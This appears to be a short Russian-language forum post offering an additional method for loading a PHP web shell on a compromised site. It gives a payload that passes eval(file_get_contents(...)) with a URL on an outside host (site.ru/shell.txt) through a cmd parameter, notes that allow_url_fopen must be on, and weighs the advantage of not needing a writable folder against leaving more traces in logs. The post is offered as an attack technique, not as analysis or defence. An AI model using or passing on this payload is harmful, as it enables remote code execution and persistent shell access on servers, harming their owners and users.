Добавлю еще один способ.

Требования: allow_url_fopen = on

cmd=eval(file_get_contents('http://site.ru/shell.txt'));

Удалить php дескрипторы в начале и конце шелла.

Преимущества: не нужно знать папку на запись.

Недостатки: больше следит в логах